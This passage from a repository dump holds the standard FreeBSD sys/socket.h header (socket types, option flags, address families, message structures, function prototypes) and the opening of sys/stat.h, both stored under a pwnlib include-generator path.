*/\n\n/*\n * Data types.\n */\n#if __BSD_VISIBLE\n#ifndef _GID_T_DECLARED\ntypedef\t__gid_t\t\tgid_t;\n#define\t_GID_T_DECLARED\n#endif\n\n#ifndef _OFF_T_DECLARED\ntypedef\t__off_t\t\toff_t;\n#define\t_OFF_T_DECLARED\n#endif\n\n#ifndef _PID_T_DECLARED\ntypedef\t__pid_t\t\tpid_t;\n#define\t_PID_T_DECLARED\n#endif\n#endif\n\n#ifndef _SA_FAMILY_T_DECLARED\ntypedef\t__sa_family_t\tsa_family_t;\n#define\t_SA_FAMILY_T_DECLARED\n#endif\n\n#ifndef _SOCKLEN_T_DECLARED\ntypedef\t__socklen_t\tsocklen_t;\n#define\t_SOCKLEN_T_DECLARED\n#endif\n\n#ifndef _SSIZE_T_DECLARED\ntypedef\t__ssize_t\tssize_t;\n#define\t_SSIZE_T_DECLARED\n#endif\n\n#if __BSD_VISIBLE\n#ifndef _UID_T_DECLARED\ntypedef\t__uid_t\t\tuid_t;\n#define\t_UID_T_DECLARED\n#endif\n#endif\n\n/*\n * Types\n */\n#define\tSOCK_STREAM\t1\t\t/* stream socket */\n#define\tSOCK_DGRAM\t2\t\t/* datagram socket */\n#define\tSOCK_RAW\t3\t\t/* raw-protocol interface */\n#if __BSD_VISIBLE\n#define\tSOCK_RDM\t4\t\t/* reliably-delivered message */\n#endif\n#define\tSOCK_SEQPACKET\t5\t\t/* sequenced packet stream */\n\n/*\n * Option flags per-socket.\n */\n#define\tSO_DEBUG\t0x0001\t\t/* turn on debugging info recording */\n#define\tSO_ACCEPTCONN\t0x0002\t\t/* socket has had listen() */\n#define\tSO_REUSEADDR\t0x0004\t\t/* allow local address reuse */\n#define\tSO_KEEPALIVE\t0x0008\t\t/* keep connections alive */\n#define\tSO_DONTROUTE\t0x0010\t\t/* just use interface addresses */\n#define\tSO_BROADCAST\t0x0020\t\t/* permit sending of broadcast msgs */\n#if __BSD_VISIBLE\n#define\tSO_USELOOPBACK\t0x0040\t\t/* bypass hardware when possible */\n#endif\n#define\tSO_LINGER\t0x0080\t\t/* linger on close if data present */\n#define\tSO_OOBINLINE\t0x0100\t\t/* leave received OOB data in line */\n#if __BSD_VISIBLE\n#define\tSO_REUSEPORT\t0x0200\t\t/* allow local address & port reuse */\n#define\tSO_TIMESTAMP\t0x0400\t\t/* timestamp received dgram traffic */\n#define\tSO_NOSIGPIPE\t0x0800\t\t/* no SIGPIPE from EPIPE */\n#define\tSO_ACCEPTFILTER\t0x1000\t\t/* there is an accept filter */\n#define\tSO_BINTIME\t0x2000\t\t/* timestamp received dgram traffic */\n#endif\n#define\tSO_NO_OFFLOAD\t0x4000\t\t/* socket cannot be offloaded */\n#define\tSO_NO_DDP\t0x8000\t\t/* disable direct data placement */\n\n/*\n * Additional options, not kept in so_options.\n */\n#define\tSO_SNDBUF\t0x1001\t\t/* send buffer size */\n#define\tSO_RCVBUF\t0x1002\t\t/* receive buffer size */\n#define\tSO_SNDLOWAT\t0x1003\t\t/* send low-water mark */\n#define\tSO_RCVLOWAT\t0x1004\t\t/* receive low-water mark */\n#define\tSO_SNDTIMEO\t0x1005\t\t/* send timeout */\n#define\tSO_RCVTIMEO\t0x1006\t\t/* receive timeout */\n#define\tSO_ERROR\t0x1007\t\t/* get error status and clear */\n#define\tSO_TYPE\t\t0x1008\t\t/* get socket type */\n#if __BSD_VISIBLE\n#define\tSO_LABEL\t0x1009\t\t/* socket's MAC label */\n#define\tSO_PEERLABEL\t0x1010\t\t/* socket's peer's MAC label */\n#define\tSO_LISTENQLIMIT\t0x1011\t\t/* socket's backlog limit */\n#define\tSO_LISTENQLEN\t0x1012\t\t/* socket's complete queue length */\n#define\tSO_LISTENINCQLEN\t0x1013\t/* socket's incomplete queue length */\n#define\tSO_SETFIB\t0x1014\t\t/* use this FIB to route */\n#define\tSO_USER_COOKIE\t0x1015\t\t/* user cookie (dummynet etc.) */\n#define\tSO_PROTOCOL\t0x1016\t\t/* get socket protocol (Linux name) */\n#define\tSO_PROTOTYPE\tSO_PROTOCOL\t/* alias for SO_PROTOCOL (SunOS name) */\n#endif\n\n/*\n * Space reserved for new socket options added by third-party vendors.\n * This range applies to all socket option levels.  New socket options\n * in FreeBSD should always use an option value less than SO_VENDOR.\n */\n#if __BSD_VISIBLE\n#define\tSO_VENDOR\t0x80000000\n#endif\n\n/*\n * Structure used for manipulating linger option.\n */\nstruct linger {\n\tint\tl_onoff;\t\t/* option on/off */\n\tint\tl_linger;\t\t/* linger time */\n};\n\n#if __BSD_VISIBLE\nstruct accept_filter_arg {\n\tchar\taf_name[16];\n\tchar\taf_arg[256-16];\n};\n#endif\n\n/*\n * Level number for (get/set)sockopt() to apply to socket itself.\n */\n#define\tSOL_SOCKET\t0xffff\t\t/* options for socket level */\n\n/*\n * Address families.\n */\n#define\tAF_UNSPEC\t0\t\t/* unspecified */\n#if __BSD_VISIBLE\n#define\tAF_LOCAL\tAF_UNIX\t\t/* local to host (pipes, portals) */\n#endif\n#define\tAF_UNIX\t\t1\t\t/* standardized name for AF_LOCAL */\n#define\tAF_INET\t\t2\t\t/* internetwork: UDP, TCP, etc. */\n#if __BSD_VISIBLE\n#define\tAF_IMPLINK\t3\t\t/* arpanet imp addresses */\n#define\tAF_PUP\t\t4\t\t/* pup protocols: e.g. BSP */\n#define\tAF_CHAOS\t5\t\t/* mit CHAOS protocols */\n#define\tAF_NETBIOS\t6\t\t/* SMB protocols */\n#define\tAF_ISO\t\t7\t\t/* ISO protocols */\n#define\tAF_OSI\t\tAF_ISO\n#define\tAF_ECMA\t\t8\t\t/* European computer manufacturers */\n#define\tAF_DATAKIT\t9\t\t/* datakit protocols */\n#define\tAF_CCITT\t10\t\t/* CCITT protocols, X.25 etc */\n#define\tAF_SNA\t\t11\t\t/* IBM SNA */\n#define AF_DECnet\t12\t\t/* DECnet */\n#define AF_DLI\t\t13\t\t/* DEC Direct data link interface */\n#define AF_LAT\t\t14\t\t/* LAT */\n#define\tAF_HYLINK\t15\t\t/* NSC Hyperchannel */\n#define\tAF_APPLETALK\t16\t\t/* Apple Talk */\n#define\tAF_ROUTE\t17\t\t/* Internal Routing Protocol */\n#define\tAF_LINK\t\t18\t\t/* Link layer interface */\n#define\tpseudo_AF_XTP\t19\t\t/* eXpress Transfer Protocol (no AF) */\n#define\tAF_COIP\t\t20\t\t/* connection-oriented IP, aka ST II */\n#define\tAF_CNT\t\t21\t\t/* Computer Network Technology */\n#define pseudo_AF_RTIP\t22\t\t/* Help Identify RTIP packets */\n#define\tAF_IPX\t\t23\t\t/* Novell Internet Protocol */\n#define\tAF_SIP\t\t24\t\t/* Simple Internet Protocol */\n#define\tpseudo_AF_PIP\t25\t\t/* Help Identify PIP packets */\n#define\tAF_ISDN\t\t26\t\t/* Integrated Services Digital Network*/\n#define\tAF_E164\t\tAF_ISDN\t\t/* CCITT E.164 recommendation */\n#define\tpseudo_AF_KEY\t27\t\t/* Internal key-management function */\n#endif\n#define\tAF_INET6\t28\t\t/* IPv6 */\n#if __BSD_VISIBLE\n#define\tAF_NATM\t\t29\t\t/* native ATM access */\n#define\tAF_ATM\t\t30\t\t/* ATM */\n#define pseudo_AF_HDRCMPLT 31\t\t/* Used by BPF to not rewrite headers\n\t\t\t\t\t * in interface output routine\n\t\t\t\t\t */\n#define\tAF_NETGRAPH\t32\t\t/* Netgraph sockets */\n#define\tAF_SLOW\t\t33\t\t/* 802.3ad slow protocol */\n#define\tAF_SCLUSTER\t34\t\t/* Sitara cluster protocol */\n#define\tAF_ARP\t\t35\n#define\tAF_BLUETOOTH\t36\t\t/* Bluetooth sockets */\n#define\tAF_IEEE80211\t37\t\t/* IEEE 802.11 protocol */\n#define\tAF_MAX\t\t38\n/*\n * When allocating a new AF_ constant, please only allocate\n * even numbered constants for FreeBSD until 134 as odd numbered AF_\n * constants 39-133 are now reserved for vendors.\n */\n#define AF_VENDOR00 39\n#define AF_VENDOR01 41\n#define AF_VENDOR02 43\n#define AF_VENDOR03 45\n#define AF_VENDOR04 47\n#define AF_VENDOR05 49\n#define AF_VENDOR06 51\n#define AF_VENDOR07 53\n#define AF_VENDOR08 55\n#define AF_VENDOR09 57\n#define AF_VENDOR10 59\n#define AF_VENDOR11 61\n#define AF_VENDOR12 63\n#define AF_VENDOR13 65\n#define AF_VENDOR14 67\n#define AF_VENDOR15 69\n#define AF_VENDOR16 71\n#define AF_VENDOR17 73\n#define AF_VENDOR18 75\n#define AF_VENDOR19 77\n#define AF_VENDOR20 79\n#define AF_VENDOR21 81\n#define AF_VENDOR22 83\n#define AF_VENDOR23 85\n#define AF_VENDOR24 87\n#define AF_VENDOR25 89\n#define AF_VENDOR26 91\n#define AF_VENDOR27 93\n#define AF_VENDOR28 95\n#define AF_VENDOR29 97\n#define AF_VENDOR30 99\n#define AF_VENDOR31 101\n#define AF_VENDOR32 103\n#define AF_VENDOR33 105\n#define AF_VENDOR34 107\n#define AF_VENDOR35 109\n#define AF_VENDOR36 111\n#define AF_VENDOR37 113\n#define AF_VENDOR38 115\n#define AF_VENDOR39 117\n#define AF_VENDOR40 119\n#define AF_VENDOR41 121\n#define AF_VENDOR42 123\n#define AF_VENDOR43 125\n#define AF_VENDOR44 127\n#define AF_VENDOR45 129\n#define AF_VENDOR46 131\n#define AF_VENDOR47 133\n#endif\n\n/*\n * Structure used by kernel to store most\n * addresses.\n */\nstruct sockaddr {\n\tunsigned char\tsa_len;\t\t/* total length */\n\tsa_family_t\tsa_family;\t/* address family */\n\tchar\t\tsa_data[14];\t/* actually longer; address value */\n};\n#if __BSD_VISIBLE\n#define\tSOCK_MAXADDRLEN\t255\t\t/* longest possible addresses */\n\n/*\n * Structure used by kernel to pass protocol\n * information in raw sockets.\n */\nstruct sockproto {\n\tunsigned short\tsp_family;\t\t/* address family */\n\tunsigned short\tsp_protocol;\t\t/* protocol */\n};\n#endif\n\n#include <sys/_sockaddr_storage.h>\n\n#if __BSD_VISIBLE\n/*\n * Protocol families, same as address families for now.\n */\n#define\tPF_UNSPEC\tAF_UNSPEC\n#define\tPF_LOCAL\tAF_LOCAL\n#define\tPF_UNIX\t\tPF_LOCAL\t/* backward compatibility */\n#define\tPF_INET\t\tAF_INET\n#define\tPF_IMPLINK\tAF_IMPLINK\n#define\tPF_PUP\t\tAF_PUP\n#define\tPF_CHAOS\tAF_CHAOS\n#define\tPF_NETBIOS\tAF_NETBIOS\n#define\tPF_ISO\t\tAF_ISO\n#define\tPF_OSI\t\tAF_ISO\n#define\tPF_ECMA\t\tAF_ECMA\n#define\tPF_DATAKIT\tAF_DATAKIT\n#define\tPF_CCITT\tAF_CCITT\n#define\tPF_SNA\t\tAF_SNA\n#define PF_DECnet\tAF_DECnet\n#define PF_DLI\t\tAF_DLI\n#define PF_LAT\t\tAF_LAT\n#define\tPF_HYLINK\tAF_HYLINK\n#define\tPF_APPLETALK\tAF_APPLETALK\n#define\tPF_ROUTE\tAF_ROUTE\n#define\tPF_LINK\t\tAF_LINK\n#define\tPF_XTP\t\tpseudo_AF_XTP\t/* really just proto family, no AF */\n#define\tPF_COIP\t\tAF_COIP\n#define\tPF_CNT\t\tAF_CNT\n#define\tPF_SIP\t\tAF_SIP\n#define\tPF_IPX\t\tAF_IPX\n#define PF_RTIP\t\tpseudo_AF_RTIP\t/* same format as AF_INET */\n#define PF_PIP\t\tpseudo_AF_PIP\n#define\tPF_ISDN\t\tAF_ISDN\n#define\tPF_KEY\t\tpseudo_AF_KEY\n#define\tPF_INET6\tAF_INET6\n#define\tPF_NATM\t\tAF_NATM\n#define\tPF_ATM\t\tAF_ATM\n#define\tPF_NETGRAPH\tAF_NETGRAPH\n#define\tPF_SLOW\t\tAF_SLOW\n#define PF_SCLUSTER\tAF_SCLUSTER\n#define\tPF_ARP\t\tAF_ARP\n#define\tPF_BLUETOOTH\tAF_BLUETOOTH\n\n#define\tPF_MAX\t\tAF_MAX\n\n/*\n * Definitions for network related sysctl, CTL_NET.\n *\n * Second level is protocol family.\n * Third level is protocol number.\n *\n * Further levels are defined by the individual families below.\n */\n#define NET_MAXID\tAF_MAX\n\n#define CTL_NET_NAMES { \\\n\t{ 0, 0 }, \\\n\t{ \"unix\", CTLTYPE_NODE }, \\\n\t{ \"inet\", CTLTYPE_NODE }, \\\n\t{ \"implink\", CTLTYPE_NODE }, \\\n\t{ \"pup\", CTLTYPE_NODE }, \\\n\t{ \"chaos\", CTLTYPE_NODE }, \\\n\t{ \"xerox_ns\", CTLTYPE_NODE }, \\\n\t{ \"iso\", CTLTYPE_NODE }, \\\n\t{ \"emca\", CTLTYPE_NODE }, \\\n\t{ \"datakit\", CTLTYPE_NODE }, \\\n\t{ \"ccitt\", CTLTYPE_NODE }, \\\n\t{ \"ibm_sna\", CTLTYPE_NODE }, \\\n\t{ \"decnet\", CTLTYPE_NODE }, \\\n\t{ \"dec_dli\", CTLTYPE_NODE }, \\\n\t{ \"lat\", CTLTYPE_NODE }, \\\n\t{ \"hylink\", CTLTYPE_NODE }, \\\n\t{ \"appletalk\", CTLTYPE_NODE }, \\\n\t{ \"route\", CTLTYPE_NODE }, \\\n\t{ \"link_layer\", CTLTYPE_NODE }, \\\n\t{ \"xtp\", CTLTYPE_NODE }, \\\n\t{ \"coip\", CTLTYPE_NODE }, \\\n\t{ \"cnt\", CTLTYPE_NODE }, \\\n\t{ \"rtip\", CTLTYPE_NODE }, \\\n\t{ \"ipx\", CTLTYPE_NODE }, \\\n\t{ \"sip\", CTLTYPE_NODE }, \\\n\t{ \"pip\", CTLTYPE_NODE }, \\\n\t{ \"isdn\", CTLTYPE_NODE }, \\\n\t{ \"key\", CTLTYPE_NODE }, \\\n\t{ \"inet6\", CTLTYPE_NODE }, \\\n\t{ \"natm\", CTLTYPE_NODE }, \\\n\t{ \"atm\", CTLTYPE_NODE }, \\\n\t{ \"hdrcomplete\", CTLTYPE_NODE }, \\\n\t{ \"netgraph\", CTLTYPE_NODE }, \\\n\t{ \"snp\", CTLTYPE_NODE }, \\\n\t{ \"scp\", CTLTYPE_NODE }, \\\n}\n\n/*\n * PF_ROUTE - Routing table\n *\n * Three additional levels are defined:\n *\tFourth: address family, 0 is wildcard\n *\tFifth: type of info, defined below\n *\tSixth: flag(s) to mask with for NET_RT_FLAGS\n */\n#define NET_RT_DUMP\t1\t\t/* dump; may limit to a.f. */\n#define NET_RT_FLAGS\t2\t\t/* by flags, e.g. RESOLVING */\n#define NET_RT_IFLIST\t3\t\t/* survey interface list */\n#define\tNET_RT_IFMALIST\t4\t\t/* return multicast address list */\n#define\tNET_RT_IFLISTL\t5\t\t/* Survey interface list, using 'l'en\n\t\t\t\t\t * versions of msghdr structs. */\n#define\tNET_RT_MAXID\t6\n\n#define CTL_NET_RT_NAMES { \\\n\t{ 0, 0 }, \\\n\t{ \"dump\", CTLTYPE_STRUCT }, \\\n\t{ \"flags\", CTLTYPE_STRUCT }, \\\n\t{ \"iflist\", CTLTYPE_STRUCT }, \\\n\t{ \"ifmalist\", CTLTYPE_STRUCT }, \\\n\t{ \"iflistl\", CTLTYPE_STRUCT }, \\\n}\n#endif /* __BSD_VISIBLE */\n\n/*\n * Maximum queue length specifiable by listen.\n */\n#define\tSOMAXCONN\t128\n\n/*\n * Message header for recvmsg and sendmsg calls.\n * Used value-result for recvmsg, value only for sendmsg.\n */\nstruct msghdr {\n\tvoid\t\t*msg_name;\t\t/* optional address */\n\tsocklen_t\t msg_namelen;\t\t/* size of address */\n\tstruct iovec\t*msg_iov;\t\t/* scatter/gather array */\n\tint\t\t msg_iovlen;\t\t/* # elements in msg_iov */\n\tvoid\t\t*msg_control;\t\t/* ancillary data, see below */\n\tsocklen_t\t msg_controllen;\t/* ancillary data buffer len */\n\tint\t\t msg_flags;\t\t/* flags on received message */\n};\n\n#define\tMSG_OOB\t\t0x1\t\t/* process out-of-band data */\n#define\tMSG_PEEK\t0x2\t\t/* peek at incoming message */\n#define\tMSG_DONTROUTE\t0x4\t\t/* send without using routing tables */\n#define\tMSG_EOR\t\t0x8\t\t/* data completes record */\n#define\tMSG_TRUNC\t0x10\t\t/* data discarded before delivery */\n#define\tMSG_CTRUNC\t0x20\t\t/* control data lost before delivery */\n#define\tMSG_WAITALL\t0x40\t\t/* wait for full request or error */\n#define MSG_NOTIFICATION 0x2000         /* SCTP notification */\n#if __BSD_VISIBLE\n#define\tMSG_DONTWAIT\t0x80\t\t/* this message should be nonblocking */\n#define\tMSG_EOF\t\t0x100\t\t/* data completes connection */\n#define\tMSG_NBIO\t0x4000\t\t/* FIONBIO mode, used by fifofs */\n#define\tMSG_COMPAT      0x8000\t\t/* used in sendit() */\n#endif\n#ifdef _KERNEL\n#define\tMSG_SOCALLBCK   0x10000\t\t/* for use by socket callbacks - soreceive (TCP) */\n#endif\n#if __BSD_VISIBLE\n#define\tMSG_NOSIGNAL\t0x20000\t\t/* do not generate SIGPIPE on EOF */\n#endif\n\n/*\n * Header for ancillary data objects in msg_control buffer.\n * Used for additional information with/about a datagram\n * not expressible by flags.  The format is a sequence\n * of message elements headed by cmsghdr structures.\n */\nstruct cmsghdr {\n\tsocklen_t\tcmsg_len;\t\t/* data byte count, including hdr */\n\tint\t\tcmsg_level;\t\t/* originating protocol */\n\tint\t\tcmsg_type;\t\t/* protocol-specific type */\n/* followed by\tu_char  cmsg_data[]; */\n};\n\n#if __BSD_VISIBLE\n/*\n * While we may have more groups than this, the cmsgcred struct must\n * be able to fit in an mbuf and we have historically supported a\n * maximum of 16 groups.\n*/\n#define CMGROUP_MAX 16\n\n/*\n * Credentials structure, used to verify the identity of a peer\n * process that has sent us a message. This is allocated by the\n * peer process but filled in by the kernel. This prevents the\n * peer from lying about its identity. (Note that cmcred_groups[0]\n * is the effective GID.)\n */\nstruct cmsgcred {\n\tpid_t\tcmcred_pid;\t\t/* PID of sending process */\n\tuid_t\tcmcred_uid;\t\t/* real UID of sending process */\n\tuid_t\tcmcred_euid;\t\t/* effective UID of sending process */\n\tgid_t\tcmcred_gid;\t\t/* real GID of sending process */\n\tshort\tcmcred_ngroups;\t\t/* number or groups */\n\tgid_t\tcmcred_groups[CMGROUP_MAX];\t/* groups */\n};\n\n/*\n * Socket credentials.\n */\nstruct sockcred {\n\tuid_t\tsc_uid;\t\t\t/* real user id */\n\tuid_t\tsc_euid;\t\t/* effective user id */\n\tgid_t\tsc_gid;\t\t\t/* real group id */\n\tgid_t\tsc_egid;\t\t/* effective group id */\n\tint\tsc_ngroups;\t\t/* number of supplemental groups */\n\tgid_t\tsc_groups[1];\t\t/* variable length */\n};\n\n/*\n * Compute size of a sockcred structure with groups.\n */\n#define\tSOCKCREDSIZE(ngrps) \\\n\t(sizeof(struct sockcred) + (sizeof(gid_t) * ((ngrps) - 1)))\n\n#endif /* __BSD_VISIBLE */\n\n/* given pointer to struct cmsghdr, return pointer to data */\n#define\tCMSG_DATA(cmsg)\t\t((unsigned char *)(cmsg) + \\\n\t\t\t\t _ALIGN(sizeof(struct cmsghdr)))\n\n/* given pointer to struct cmsghdr, return pointer to next cmsghdr */\n#define\tCMSG_NXTHDR(mhdr, cmsg)\t\\\n\t((char *)(cmsg) == NULL ? CMSG_FIRSTHDR(mhdr) : \\\n\t    ((char *)(cmsg) + _ALIGN(((struct cmsghdr *)(cmsg))->cmsg_len) + \\\n\t  _ALIGN(sizeof(struct cmsghdr)) > \\\n\t    (char *)(mhdr)->msg_control + (mhdr)->msg_controllen) ? \\\n\t    (struct cmsghdr *)0 : \\\n\t    (struct cmsghdr *)(void *)((char *)(cmsg) + \\\n\t    _ALIGN(((struct cmsghdr *)(cmsg))->cmsg_len)))\n\n/*\n * RFC 2292 requires to check msg_controllen, in case that the kernel returns\n * an empty list for some reasons.\n */\n#define\tCMSG_FIRSTHDR(mhdr) \\\n\t((mhdr)->msg_controllen >= sizeof(struct cmsghdr) ? \\\n\t (struct cmsghdr *)(mhdr)->msg_control : \\\n\t (struct cmsghdr *)NULL)\n\n#if __BSD_VISIBLE\n/* RFC 2292 additions */\n#define\tCMSG_SPACE(l)\t\t(_ALIGN(sizeof(struct cmsghdr)) + _ALIGN(l))\n#define\tCMSG_LEN(l)\t\t(_ALIGN(sizeof(struct cmsghdr)) + (l))\n#endif\n\n#ifdef _KERNEL\n#define\tCMSG_ALIGN(n)\t_ALIGN(n)\n#endif\n\n/* \"Socket\"-level control message types: */\n#define\tSCM_RIGHTS\t0x01\t\t/* access rights (array of int) */\n#if __BSD_VISIBLE\n#define\tSCM_TIMESTAMP\t0x02\t\t/* timestamp (struct timeval) */\n#define\tSCM_CREDS\t0x03\t\t/* process creds (struct cmsgcred) */\n#define\tSCM_BINTIME\t0x04\t\t/* timestamp (struct bintime) */\n#endif\n\n#if __BSD_VISIBLE\n/*\n * 4.3 compat sockaddr, move to compat file later\n */\nstruct osockaddr {\n\tunsigned short sa_family;\t/* address family */\n\tchar\tsa_data[14];\t\t/* up to 14 bytes of direct address */\n};\n\n/*\n * 4.3-compat message header (move to compat file later).\n */\nstruct omsghdr {\n\tchar\t*msg_name;\t\t/* optional address */\n\tint\tmsg_namelen;\t\t/* size of address */\n\tstruct\tiovec *msg_iov;\t\t/* scatter/gather array */\n\tint\tmsg_iovlen;\t\t/* # elements in msg_iov */\n\tchar\t*msg_accrights;\t\t/* access rights sent/received */\n\tint\tmsg_accrightslen;\n};\n#endif\n\n/*\n * howto arguments for shutdown(2), specified by Posix.1g.\n */\n#define\tSHUT_RD\t\t0\t\t/* shut down the reading side */\n#define\tSHUT_WR\t\t1\t\t/* shut down the writing side */\n#define\tSHUT_RDWR\t2\t\t/* shut down both sides */\n\n/* we cheat and use the SHUT_XX defines for these */\n#define PRU_FLUSH_RD     SHUT_RD\n#define PRU_FLUSH_WR     SHUT_WR\n#define PRU_FLUSH_RDWR   SHUT_RDWR\n\n\n#if __BSD_VISIBLE\n/*\n * sendfile(2) header/trailer struct\n */\nstruct sf_hdtr {\n\tstruct iovec *headers;\t/* pointer to an array of header struct iovec's */\n\tint hdr_cnt;\t\t/* number of header iovec's */\n\tstruct iovec *trailers;\t/* pointer to an array of trailer struct iovec's */\n\tint trl_cnt;\t\t/* number of trailer iovec's */\n};\n\n/*\n * Sendfile-specific flag(s)\n */\n#define\tSF_NODISKIO     0x00000001\n#define\tSF_MNOWAIT\t0x00000002\n#define\tSF_SYNC\t\t0x00000004\n#endif\n\n#ifndef\t_KERNEL\n\n#include <sys/cdefs.h>\n\n__BEGIN_DECLS\nint\taccept(int, struct sockaddr * __restrict, socklen_t * __restrict);\nint\tbind(int, const struct sockaddr *, socklen_t);\nint\tconnect(int, const struct sockaddr *, socklen_t);\nint\tgetpeername(int, struct sockaddr * __restrict, socklen_t * __restrict);\nint\tgetsockname(int, struct sockaddr * __restrict, socklen_t * __restrict);\nint\tgetsockopt(int, int, int, void * __restrict, socklen_t * __restrict);\nint\tlisten(int, int);\nssize_t\trecv(int, void *, size_t, int);\nssize_t\trecvfrom(int, void *, size_t, int, struct sockaddr * __restrict, socklen_t * __restrict);\nssize_t\trecvmsg(int, struct msghdr *, int);\nssize_t\tsend(int, const void *, size_t, int);\nssize_t\tsendto(int, const void *,\n\t    size_t, int, const struct sockaddr *, socklen_t);\nssize_t\tsendmsg(int, const struct msghdr *, int);\n#if __BSD_VISIBLE\nint\tsendfile(int, int, off_t, size_t, struct sf_hdtr *, off_t *, int);\nint\tsetfib(int);\n#endif\nint\tsetsockopt(int, int, int, const void *, socklen_t);\nint\tshutdown(int, int);\nint\tsockatmark(int);\nint\tsocket(int, int, int);\nint\tsocketpair(int, int, int, int *);\n__END_DECLS\n\n#endif /* !_KERNEL */\n\n#ifdef _KERNEL\nstruct socket;\n\nstruct tcpcb *so_sototcpcb(struct socket *so);\nstruct inpcb *so_sotoinpcb(struct socket *so);\nstruct sockbuf *so_sockbuf_snd(struct socket *);\nstruct sockbuf *so_sockbuf_rcv(struct socket *);\n\nint so_state_get(const struct socket *);\nvoid so_state_set(struct socket *, int);\n\nint so_options_get(const struct socket *);\nvoid so_options_set(struct socket *, int);\n\nint so_error_get(const struct socket *);\nvoid so_error_set(struct socket *, int);\n\nint so_linger_get(const struct socket *);\nvoid so_linger_set(struct socket *, int);\n\nstruct protosw *so_protosw_get(const struct socket *);\nvoid so_protosw_set(struct socket *, struct protosw *);\n\nvoid so_sorwakeup_locked(struct socket *so);\nvoid so_sowwakeup_locked(struct socket *so);\n\nvoid so_sorwakeup(struct socket *so);\nvoid so_sowwakeup(struct socket *so);\n\nvoid so_lock(struct socket *so);\nvoid so_unlock(struct socket *so);\n\nvoid so_listeners_apply_all(struct socket *so, void (*func)(struct socket *, void *), void *arg);\n\n#endif\n\n\n#endif /* !_SYS_SOCKET_H_ */\n"
  },
  {
    "path": "pwnlib/data/includes/generator/freebsd/sys/stat.h",
    "content": "/*-\n * Copyright (c) 1982, 1986, 1989, 1993\n *\tThe Regents of the University of California.  All rights reserved.\n * (c) UNIX System Laboratories, Inc.\n * All or some portions of this file are derived from material licensed\n * to the University of California by American Telephone and Telegraph\n * Co. or Unix System Laboratories, Inc. and are reproduced herein with\n * the permission of UNIX System Laboratories, Inc.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions\n * are met:\n * 1. Redistributions of source code must retain the above copyright\n *    notice, this list of conditions and the following disclaimer.\n * 2. Redistributions in binary form must reproduce the above copyright\n *    notice, this list of conditions and the following disclaimer in the\n *    documentation and/or other materials provided with the distribution.\n * 4. Neither the name of the University nor the names of its contributors\n *    may be used to endorse or promote products derived from this software\n *    without specific prior written permission.\n *\n * THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND\n * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\n * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\n * ARE DISCLAIMED.  IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE\n * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL\n * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS\n * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)\n * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT\n * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY\n * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF\n * SUCH DAMAGE.\n *\n *\t@(#)stat.h\t8.12 (Berkeley) 6/16/95\n * $FreeBSD$\n */\n\n#ifndef _SYS_STAT_H_\n#define\t_SYS_STAT_H_\n\n#include <sys/cdefs.h>\n#include <sys/_timespec.h>\n#include <sys/_types.h>\n\n#ifndef _BLKSIZE_T_DECLARED\ntypedef\t__blksize_t\tblksize_t;\n#define\t_BLKSIZE_T_DECLARED\n#endif\n\n#ifndef _BLKCNT_T_DECLARED\ntypedef\t__blkcnt_t\tblkcnt_t;\n#define\t_BLKCNT_T_DECLARED\n#endif\n\n#ifndef _DEV_T_DECLARED\ntypedef\t__dev_t\t\tdev_t;\n#define\t_DEV_T_DECLARED\n#endif\n\n#ifndef _FFLAGS_T_DECLARED\ntypedef\t__fflags_t\tfflags_t;\n#define\t_FFLAGS_T_DECLARED\n#endif\n\n#ifndef _GID_T_DECLARED\ntypedef\t__gid_t\t\tgid_t;\n#define\t_GID_T_DECLARED\n#endif\n\n#ifndef _INO_T_DECLARED\ntypedef\t__ino_t\t\tino_t;\n#define\t_INO_T_DECLARED\n#endif\n\n#ifndef _MODE_T_DECLARED\ntypedef\t__mode_t\tmode_t;\n#define\t_MODE_T_DECLARED\n#endif\n\n#ifndef _NLINK_T_DECLARED\ntypedef\t__nlink_t\tnlink_t;\n#define\t_NLINK_T_DECLARED\n#endif\n\n#ifndef _OFF_T_DECLARED\ntypedef\t__off_t\t\toff_t;\n#define\t_OFF_T_DECLARED\n#endif\n\n#ifndef _UID_T_DECLARED\ntypedef\t__uid_t\t\tuid_t;\n#define\t_UID_T_DECLARED\n#endif\n\n#if !defined(_KERNEL) && __BSD_VISIBLE\n/*\n * XXX We get miscellaneous namespace pollution with this.\n */\n#include <sys/time.h>\n#endif\n\n#ifdef _KERNEL\nstruct ostat {\n\t__uint16_t st_dev;\t\t/* inode's device */\n\tino_t\t  st_ino;\t\t/* inode's number */\n\tmode_t\t  st_mode;\t\t/* inode protection mode */\n\tnlink_t\t  st_nlink;\t\t/* number of hard links */\n\t__uint16_t st_uid;\t\t/* user ID of the file's owner */\n\t__uint16_t st_gid;\t\t/* group ID of the file's group */\n\t__uint16_t st_rdev;\t\t/* device type */\n\t__int32_t st_size;\t\t/* file size, in bytes */\n\tstruct\ttimespec st_atim;\t/* time of last access */\n\tstruct\ttimespec st_mtim;\t/* time of last data modification */\n\tstruct\ttimespec st_ctim;\t/* time of last file status change */\n\t__int32_t st_blksize;\t\t/* optimal blocksize for I/O */\n\t__int32_t st_blocks;\t\t/* blocks allocated for file */\n\tfflags_t  st_flags;\t\t/* user defined flags for file */\n\t__uint32_t st_gen;\t\t/* file generation number */\n};\n#endif\n\nstruct stat {\n\t__dev_t   st_dev;\t\t/* inode's device */\n\tino_t\t  st_ino;\t\t/* inode's number */\n\tmode_t\t  st_mode;\t\t/* inode protection mode */\n\tnlink_t\t  st_nlink;\t\t/* number of hard links */\n\tuid_t\t  st_uid;\t\t/* user ID of the file's owner */\n\tgid_t\t  st_gid;\t\t/* group ID of the file's group */\n\t__dev_t   st_rdev;\t\t/* device type 